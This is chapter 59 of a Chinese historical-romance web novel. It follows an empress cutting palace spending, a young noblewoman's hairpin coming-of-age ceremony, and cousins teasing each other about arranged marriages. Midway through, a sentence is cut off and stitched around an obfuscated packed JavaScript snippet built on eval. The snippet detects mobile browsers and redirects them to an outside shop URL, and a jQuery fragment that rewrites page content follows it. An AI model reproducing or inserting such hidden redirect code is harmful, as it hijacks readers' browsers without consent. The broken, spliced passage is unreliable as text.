59.第 59 章

作品:《阳曲

    夜里,师冉月卸了妆面,头发也尽数披散在肩上,手指捻着账本算了算,道:“这几个月宫中的流水是越发多了,便是上个月,只是在江昭仪身上便花了一千二百两银子。去年后半年阖宫上下统共不过花了十二万两有余,照这样下去,今年岂不是要三十万两不止!”


    宫之奢靡,放在从前原不是什么大事,只是如今北边驻边将士的军费还只发下去一半,南边市舶司更是迟迟批不下去钱两。为着此事,端木玄已经取消了乐康元年合该按例举办的选秀,又下旨责令后宫俭省,一年花费不得超出二十万两。


    音儿道:“原本江昭仪也是效仿贤妃娘娘的旧例辞谢册封礼的,只是下面的人有意巴结,衣裳和头冠尽是做的新的,光这两项就花费了近千两银子了。”


    师冉月叹道:“这在宫中本是常事。我记得当年平卿贵妃封妃时的册封礼前后花了有五千多两银子,丧仪时更是花了三万多两。可当年我在逢州时与那些庄户农人闲聊,他们一家六七口人,一年也花不上一百两银子,这还是家境好些的。若是只求饱腹,恐怕一年不过三五十两银子就能过活了。我在家时随母亲看账,彼时师家一年大约花上六七万两银,我还和姐姐说这是‘朱门酒肉臭,路有冻死骨’,可只有看了宫中这账,才晓得什么是‘朱门’。”


    她看着那账上的数字想来想去,叹道:“且待我生辰时,带头捐俸罢。只不过这捐出去的俸禄该如何落到实处,而不是叫那些人贪没了,我倒是没什么法子。”


    音儿思索了一会儿,道:“太子殿下不是说蒋大人下个月就要调回京城了么?我记得在王府时,陛下就称赞蒋大人有度支之才,是富国之臣。不如再等两个月,等陛下寿辰或是中秋时,再行捐俸,将这钱交由蒋大人处置。”


    师冉月却叹道:“蒋节倒是端方君子,驭财有道。可惜,就算他调任回京,这钱又不能只过他手。但看市舶司就晓得了,若是只凭他的才干就能成事,怎会四五年过去还没有什么成果。”又道:“他这样的人,要是生逢盛世,必然是个像萧何或是房玄龄那样的名臣,只可惜生在如今......我倒期望陛下给他个闲职,虽不能成事,但远离是非争斗,好歹能保住性命。”


    “那这钱......”


    “罢了,我且捐出去,其他就看天意罢,只当为我自己和玦儿汐儿积些功德。至于宫中......能省则省,告诉尚书内省,日后凡超过百两的开支,除去日常采买,一律向我禀明细则,未经我批准不得入账领钱。”又道:“如今尚宫的位置空悬,实际上便是烟水领着此职,于我多有不便。我明日便下懿旨将你命为尚宫,日后便也不用劳烦烟水两边受累了。”


    一恍淅淅沥沥的雨水下尽了,逢州的日头便像是突然睡醒了似的,毒辣非常。


    因着要去山上的善因寺还愿,晏梅兮一早出了门,回来时刚过了正午,恰是日头最盛的时候。行至芥湖,远远瞧见湖中那八角亭四周绿树成荫,想来很是清凉,便在湖边下了马车去那亭中歇脚,及至走近,才发觉亭中还有旁人。


    那人似是也瞧见了晏梅兮,站起身来往外走了几步,原是徐酌雨。


    “晏夫人,这大热天的,怎么到这儿来了?”


    “我到善因寺还愿,回来经过此处。倒是县主你,怎么一人坐在此处?”


    徐酌雨眉梢轻扬,抬手指了指不远处的酒肆,道:“我与孟继方才到阳曲侯府,将他们家大姑娘的及笄礼送去。这会子本要回去,孟继说那处酒肆的酒别具一格,要带回去两壶,我便在此处等他。”


    原本因为孟继是上门女婿,本身又不是逢州人,起初并不受人待见。然而后来众人见一向性子清冷怪癖的徐酌雨与这个夫婿倒是相敬如宾,便也厚待他几分。


    “师大姑娘的及笄礼就是半个月后的事情了,届时你们不能到场么?”


    “十日后我家二房的叔公过八十岁整寿,后日我们便要启程去池州了。师大姑娘及笄是七月初三,彼时我们尚在池州,赶不回来。”


    “原是如此,这倒也是赶巧了。”


    师婷欢的及笄礼就是请了晏梅兮做宾,起初晏梅兮还推辞了一番,毕竟阳曲侯和云和长公主的长女、当今皇后娘娘的侄女,普天之下除了公主便没有更尊贵的女子了。而她与师家虽说算得上亲近,可说起身份也不过是一个太守夫人,这般抬举倒叫她觉得有些惶恐。


    端木萌却说:“‘贤而有礼者为宾’,你又哪里不够格?”


    瞧着端木萌是真心如此,晏梅兮才不再推辞。而她又听闻此前师霖与端木萌曾考虑过的女宾有安南郡主的女儿贺氏以及千里迢迢到逢州来参加师婷欢及笄礼的昌邑大长公主的儿媳苗氏和燕王妃秦氏,这便更叫她忍不住提起万分精神来。尤其是有关仪式流程的细节上,甚至瞧着比端木萌这个做母亲的还谨慎些。


    及至七月初三当日,几乎是安南郡主寿宴的所有宾客原样又赶赴到了师家,甚至于如燕王府的内眷这般自涯州赶来的,还有似燕氏、官氏、步氏的家眷这般自京城至逢州的,更不必说唐氏、萧氏、言氏等有姻亲或是转折亲的家眷自各地纷至沓来。


    师家门前车水马龙,络绎不绝,钗环闪烁,罗衣如云。


    而至中堂,又是雍容肃穆,不闻喧哗。


    到了吉时,师婷欢梳双髻、着短衣,自后步出,面若出水芙蓉,不施粉黛,却自是青春姣好,一双像极了母亲的杏眼明亮有神,此时却显露着端庄沉着,不卑不亢,别有风采。


    她移步至冠席,由晏梅兮致祝词,再由赞者协助,为其梳头加笄。


    加笄后,师婷欢回房更衣,再至冠席,由晏梅兮为她换上发钗,再致祝词,而后回房更大袖长裙,又回冠席,卸发钗,加钗冠,又更礼服,这才三加礼成。


    随后,师婷欢移至醴席,由执事酌酒,请宾受酒,再致醴词。再由师霖亲自为其取字“令姜”。


    至此礼成,师婷欢又移步至父母身前拜见,再向前来观礼的一众亲长见礼致谢。师霖与端木萌随后代女儿及师家众人向晏梅兮以及众宾客致谢,请众人移步中庭宴饮,众人方才又恢复了交谈说笑,一时间热闹非常。


    而婷欢此时才得以回到自己的院子中,摘下钗冠交给青芜保管,又换上常服,重新理了发髻,也不着急去席上,至于早等在这里的妹妹们喝茶歇息。


    莞安几人都对那钗冠好奇不已,只因这是师冉月亲自赐下来的,提前一年就由宫中的匠人依着师冉月的授意按郡主的规制制作,又提前半个多月千里迢迢由宫中禁卫与府上的私卫交接护送到逢州。整个府上虽是金银珠宝无数,尤其二加礼的发钗便是由端木萌亲自设计的赤金镶珠攒玉花蝠钗,然而若要能与这顶钗冠争辉,也只有当年端木萌下降时带的婚冠能与之匹敌了。


    婷欢无奈笑道:“方才你们做赞者,不是也瞧见了。”


    及笄礼的赞者一向由笄者的姐妹或好友担任,因着幼芷几个年纪尚小,婷欢的赞者便由景安、莞安以及官闻霰和唐家的表姐唐浟担任。


    莞安叹道:“方才大家都那般严肃,我害怕出错,连大气儿都不敢喘,哪有功夫欣赏那顶冠子!”


    棠欢也在旁边叫道:“我不是赞者,我还没看过!”


    婷欢只得叫飞絮去找青芜,再将那钗冠拿回来叫妹妹们看一看,嘱咐景安过会儿便将它再收好,自己便先到席上前去应酬。


    景安瞧着莞安一双眼直直地盯着那冠出神,忍不住推了推她,笑道:“昭昭,你莫要急呀,明年就是你及笄了。”又道:“方才我还听见有几个长辈说笑,说女宾一向应从亲眷长辈中选,晏夫人与咱家尚且无亲,怕是日后要联姻呢。”


    莞安小脸一红,从那头冠旁走开,背身对着景安,想了半天道:“二姐姐,你还有功夫取笑我,那怀宁长公主前些天还写信来催,只盼着你一及笄便嫁过去呢。”


    景安闻言并没有什么波动,她对岳添没有什么感觉,但也不厌恶,对这桩婚事也谈不上喜不喜欢,只是不想太早离家罢了。“我总要等大姐姐出嫁后再嫁。”


    话是这么说,可她心中也明白,虽然师家未分家,他们这些堂兄弟姐妹比一些人家亲生的兄弟姐妹还要亲近些,然而到底分属两房,算起来她是二房长女,婷欢是三房长女,二人出嫁各论各的,谈不上次序。


    况且燕寂去年刚中了二甲第六名,如今外派在寻县,听三叔三婶的意思,想来应当是要等燕寂三年任期满,将他调回京城或是调到逢州这边来再让婷欢出嫁,这么一看,至少是两年后的事了。若是怀宁长公主那边催得急,恐怕她也不好拿婷欢的婚事做推辞。


    这般想着,旁边幼芷和棠欢在案上玩骰子,碰翻了茶杯,险些就波及到那顶钗冠。景安忙叫青芜将那钗冠收起来,又听说官氏姐妹要来寻她,这才更衣也去了前面。


    中庭宴上皆是女眷,座次皆是端木萌精心安排的,凡是挨着坐的两家夫人间先前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238789|197566||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    断然未曾生过嫌隙,因而自是欢声笑语不断。


    宴后,端木萌与端木婉又安排上了年纪的夫人和老夫人们午歇,未出阁的姑娘们则是随着婷欢和景安到了花园中,喝上一碗酸枣茶或是红豆薏仁水,继续吟诗作赋,或说些闺房中的话,没有长辈们和男子在场,自是没了拘束,无论平时便是活泼爱闹的还是腼腆沉静的,眉眼间的神色都飞扬了不少。


    官闻霰和姐姐官闻霁这些年都在京城,与其他人家的姑娘都不大熟悉,倒是与师家姐妹们小别一载有余,思念非常,亲亲热热地说了好些话。


    官闻霰因着与师玘定了亲,方才在前面时一直有些放不开手脚,尤其行及笄礼时师家几位公子都在场,她就更不敢往他们所在的那边打量。


    婷欢瞧出来她的不同,只笑道:“霰妹妹,你与我三弟既然都已定了亲,又不是要成亲了,此时相见也没什么大不了的,怎么瞧着你比起原先还羞赧了些?”


    官闻霰本是坦率的人,这会儿便也直说道:“原本未订亲时,我也从未往这方面想,自然坦荡。如今......我总怕别人打趣,更懒得与旁人解释什么,便觉得还是不见面为好了。”


    “我们又不会打趣你。”


    “方才你们还打趣莞姐姐和景家公子呢!”


    婷欢理亏,只好住口。


    官闻霁一向不喜欢这些情爱之事,常批之为“小儿女之情”。她在家中翻出姑母官和言未出阁时的手记后,便一心想效仿她早年那般随父兄走遍任上各地,见山川辽阔,听异乡奇事。可惜她盼了好久,直到前年与安老大人的长孙定了亲,也没等到官成澈外放。


    又未成想她才一定亲,伯父官成潜就赴外任职。她本想跟着一同前去,却被母亲阻挠在家备嫁,只好默默期盼将来自己的夫婿能外放,最好永远调不回京城才好。


    景安听了她的心事,叹道:“先前在京城时,怀宁长公主倒是与我透露过,有意叫我与岳家小侯爷成婚后便一同回岳家祖籍蒲城去。可我倒觉得京城虽似牢笼,但离家人近些。嫁到旁人家,又去到人生地不熟的去处,那才可怖。”


    “你性子安静,的确不太适合远游,不过......”官闻霁四下看了看,放低了些声音道,“京城到底不是什么好去处。我与我娘说起时,连她都支持我日后离京城远些。倘若朝中一旦生变,在外还有些应对的时间,可在京中或许连反应的时间都没有,稍有不慎就会被波及。”


    “这倒是真的。”婷欢点头赞同,“不过换言之,只要我们能掌握局势,在京城反倒消息灵通。”


    官闻霰皱眉道:“就是不在京城,我如今也常听闻各地起义或是叛乱的消息,连匪患都是轻的。前些年今上刚登基时似乎好些,近些日子不知怎么又多了起来。若是遇上这种事,在外又无人能援,抄家灭门之祸也是有的。”


    官闻霁却道:“起义、叛乱、匪患,这些都是明面上的路数,京城那些事却是暗地里的。反正我觉得,要想在京城留住脚,一个个都得是弯弯绕绕的花花肠子,不然就算没有举家之祸,光是后宅争执也够诡谲汹涌的。我这人直来直去,这辈子是练不出那般本事。”


    其余三人被这话逗笑,却也不敢就此事多言,便玩了会儿叶子牌消磨到傍晚,各家姑娘们三三两两的随着长辈们归家去了,这才罢休。


    莞安午后在婷欢的榻上睡着,再醒时竟就到了晚饭的光景,一时有些心烦意乱。走到母亲院中,又听见端木婉似乎在与端木萌讨论自己的婚事,她便逃也似的离了那院子不敢再听下去。今日景家几个公子都没来,晏夫人待她又越发亲昵,加上众人的议论调侃,如今一提到什么“景家”什么“婚事”的她便羞得不敢再想下去。


    转悠回去又没发现婷欢和景安的人影儿,她想着去找幼芷,又不免想到四婶婶如今身披缟素心如死灰的样子,便不忍到那院子里去,便自己一个人蔫蔫地回了房,叫丫鬟成喜到厨房给自己弄碗黄鱼面来。


    坐在房中,看着两个姐姐绣的那些鸳鸯或是大雁纹样的帕子,又不免想起自己的婚事来。


    “要不然就定下罢,和景琮。”她吃了一口黄鱼面,自言自语道,“反正嫁到了景家,也有黄鱼面吃啊。”


    大事化小,小事化了,人生真理也。


    这般想着心里便舒坦了许多,一碗热腾腾的面下肚,师莞安全然恢复了精神和力气,筷子一撂,像毛茸茸的雏鸭一样挺胸抬头的就找母亲去了。